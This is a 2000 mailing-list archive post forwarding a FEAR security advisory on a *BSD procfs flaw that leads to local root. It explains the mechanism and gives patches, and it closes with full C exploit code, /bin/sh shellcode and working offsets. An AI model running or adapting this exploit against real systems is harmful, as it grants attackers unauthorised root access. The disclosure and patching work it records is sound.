Date: Sun, 23 Jan 2000 18:13:51 -0600 From: Tim Yardley <yardley@uiuc.edu> To: freebsd-security@FreeBSD.ORG Subject: Fwd: *BSD procfs vulnerability Message-ID: <4.2.0.58.20000123181240.0144ef10@students.uiuc.edu>
next in thread | raw e-mail | index | archive | help
i would hope this is getting looked into...
>Approved-By: aleph1@SECURITYFOCUS.COM
>Delivered-To: bugtraq@lists.securityfocus.com
>Delivered-To: bugtraq@securityfocus.com
>Date: Fri, 21 Jan 2000 22:10:06 +0200
>Reply-To: FEAR Advisories <fear-adv@FEAR.COM.PL>
>Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
>From: FEAR Advisories <fear-adv@FEAR.COM.PL>
>Subject: *BSD procfs vulnerability
>X-To: bugtraq@securityfocus.com
>To: BUGTRAQ@SECURITYFOCUS.COM
>
>/* note for the moderator - this is a resend. If you have received the
>previous copy, pls disregard this message; otherwise, pls remove this
>comment before sending it to the list */
> Fast Emergency AVET Response
> SECURITY ADVISORY
> January 2000
> FEAR ID: 1
> *BSD procfs vulnerability
>
>==============================================================================
>
>PROBLEM DESCRIPTION
>
> In January 1997 a fatal flaw in *BSD procfs code (leading to a local root
>compromise) was discussed on various security forums. The exploit code
>dealt with /proc/pid/mem interface. Since then *BSD kernels contained a
>simple fix which was meant to close this hole.
> Unfortunately, throughout these three years it was still possible to
>abuse /proc/pid/mem in a symilar, though more complicated fashion, which
>could lead to local root compromise.
>
>==============================================================================
>
>VULNERABLE PLATFORMS
>
> The bug is present in kernels used in current (and almost any older)
>FreeBSD and OpenBSD distributions. In order to make this flaw exploitable,
>procfs filesystem must be mounted. In default FreeBSD 3.3 installation,
>procfs IS mounted; in default OpenBSD 2.6 installation, it is NOT. Note that
>administrators often mount procfs filesystem for its benefits.
>
>==============================================================================
>
>TECHNICAL DETAILS
>
> The procfs exploit code from 1997 was straightforward. An unpriviledged
>process A forks off a process B. A opens /proc/pid-of-B/mem. B execs a
>setuid binary. Though now B has a different euid than A, A is still able to
>control B's memory via /proc/pid-of-B/mem descriptor. Therefore A can change
>B's flow of execution in an arbitrary way.
> In order to stop this exploit, an additional check was added to the code
>responsible for I/O on file descriptors referring to procfs pseudofiles. In
>miscfs/procfs/procfs.h (from FreeBSD 3.0) we read:
>/*
> * Check to see whether access to target process is allowed
> * Evaluates to 1 if access is allowed.
> */
>#define CHECKIO(p1, p2) \
> ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \
> ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \
> ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \
> ((p2)->p_flag & P_SUGID) == 0) || \
> (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0))
>
> As we see, process performing I/O (p1) must have the same uids as target
>process (p2), unless... p1 has root priviledges. So, if we can trick a
>setuid program X into writing to a file descriptor F referring to a procfs
>object, the above check will not prevent X from writing. As some of readers
>certainly already have guessed, F's number will be 2, stderr fileno... We
>can pass to a setuid program an appropriately lseeked file descriptor no 2
>(pointing to some /proc/pid/mem), and this program will blindly write there
>error messages. Such output is often partially controllable (e.g. contains
>program's name), so we can write almost arbitrary data onto other setuid
>program's memory.
> This scenario looks similar to
> ' close(fileno(stderr)); execl("setuid-program",...) '
>exploits, but in fact differs profoundly. It exploits the fact that the
>properties of a fd pointing into procfs is not determined fully by "open"
>syscall (all other fd are; skipping issues related to securelevels). These
>properties can change because of priviledged code execution. As a result,
>(priviledged) children of some process P can inherit a fd opened read-write,
>though P can't directly gain such fd via open syscall.
> The attached sample exploit (for Intel platform) code runs
>/usr/bin/passwd, but almost any setuid program can be used. This code was
>tested on FreeBSD 2.8, 3.0 and 3.3 as well as on OpenBSD 2.4, 2.5 and 2.6.
>The code overwrites stack with addresses of a shellcode, which is placed in
>an environment variable. The code is a bit crude, but there were some obscure
>problems with building a working exploit. It requires two arguments: an
>offset from the current stack
>pointer and an offset from default shellcode position.
>/procfs_exp -4000 -10000
>worked for all tested platforms. Having seen "#" prompt, one should probably
>issue "stty sane" command to clean tty state. On OpenBSD, having gained root
>prompt one should remove /etc/ptmp file.
>
>==============================================================================
>
>SOLUTION
>
> Linux also features proc filesystem with symilar functionality, but it is
>not vulnerable to this exploit. That is so because on Linux if a process p1
>wishes to alter the memory of process p2 via /proc/pid-of-p2/mem, p2 must be
>traced by p1 (moreover, mem_write function is currently defined as NULL, so
>/proc/pid/mem can be altered only with use of mmap; irrelevant here). It may
>be tempting to impose symilar restriction in *BSD kernels. However, on *BSD
>a process p1 can attach p2 for tracing merely by writing to
>/proc/pid-of-p2/ctl file; as we have just seen it is possible to force a
>setuid program to write arbitrary strings to /proc files.
> The solution (by deraadt) is to add a certain check in execve syscall. If
>a process X tries to exec a setuid binary, we make sure it holds no open
>descriptors pointing into procfs filesystem.
> Patches are available on
>http://www.openbsd.org/errata.html#procfs
>ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:02/procfs.patch
> As a workaround, it is enough to umount /proc and comment it out from
>/etc/fstab.
>
>==============================================================================
>
>CREDITS
>
> The discovery of this vulnerability, as well as the sample exploit, was
>done by Rafal Wojtczuk <nergal@avet.com.pl>;
> deraadt for discarding our original idea of the fix because of its
>inefficiency and finding a better one;
> deraadt@openbsd.org and security-officer@freebsd.org for immediate
>response and supplying patches for their systems.
>Other FEAR security materials can be found at :
>http://www.fear.pl
>
>==============================================================================
>
>EXPLOIT CODE
>/* by Nergal */
>#include <errno.h>
>#include <signal.h>
>#include <stdio.h>
>#include <stdlib.h>
>#include <unistd.h>
>#include <fcntl.h>
>#include <string.h>
>#include <signal.h>
>#include <sys/wait.h>
>
>char shellcode[] =
>"\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20"
>"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
>"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
>"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
>"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00";
>
>#define PASSWD "./passwd"
>void
>sg(int x)
>{
>}
>int
>main(int argc, char **argv)
>{
> unsigned int stack, shaddr;
> int pid,schild;
> int fd;
> char buff[40];
> unsigned int status;
> char *ptr;
> char name[4096];
> char sc[4096];
> char signature[] = "signature";
>
> signal(SIGUSR1, sg);
>if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST)
>{
>perror("creating symlink:");
>exit(1);
>}
> shaddr=(unsigned int)&shaddr;
> stack=shaddr-2048;
> if (argc>1)
> shaddr+=atoi(argv[1]);
> if (argc>2)
> stack+=atoi(argv[2]);
> fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack);
> fprintf(stderr,"Wait for \"Press return\" prompt:\n");
> memset(sc, 0x90, sizeof(sc));
> strncpy(sc+sizeof(sc)-strlen(shellcode)-1,
> shellcode,strlen(shellcode));
> strncpy(sc,"EGG=",4);
>memset(name,'x',sizeof(name));
> for (ptr = name; ptr < name + sizeof(name); ptr += 4)
> *(unsigned int *) ptr = shaddr;
> name[sizeof(name) - 1] = 0;
>
> pid = fork();
> switch (pid) {
> case -1:
> perror("fork");
> exit(1);
> case 0:
> pid = getppid();
> sprintf(buff, "/proc/%d/mem", pid);
> fd = open(buff, O_RDWR);
> if (fd < 0) {
> perror("open procmem");
> wait(NULL);
> exit(1);
> }
> /* wait for child to execute suid program */
> kill(pid, SIGUSR1);
> do {
> lseek(fd, (unsigned int) signature, SEEK_SET);
> } while
> (read(fd, buff, sizeof(signature)) ==
> sizeof(signature) &&
> !strncmp(buff, signature, sizeof(signature)));
> lseek(fd, stack, SEEK_SET);
> switch (schild = fork()) {
> case -1:
> perror("fork2");
> exit(1);
> case 0:
>
> dup2(fd, 2);
> sleep(2);
> execl(PASSWD, name, "blahblah", 0);
> printf("execl failed\n");
> exit(1);
> default:
> waitpid(schild, &status, 0);
> }
> fprintf(stderr, "\nPress return.\n");
> exit(1);
> default:
> /* give parent time to open /proc/pid/mem */
> pause();
> putenv(sc);
> execl(PASSWD, "passwd", NULL);
> perror("execl");
> exit(0);
>
> }
>}
-- Diving into infinity my consciousness expands in inverse
proportion to my distance from singularity
+-------- ------- ------ ----- ---- --- -- ------ --------+
| Tim Yardley (yardley@uiuc.edu)
| http://www.students.uiuc.edu/~yardley/
+-------- ------- ------ ----- ---- --- -- ------ --------+
To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?4.2.0.58.20000123181240.0144ef10>
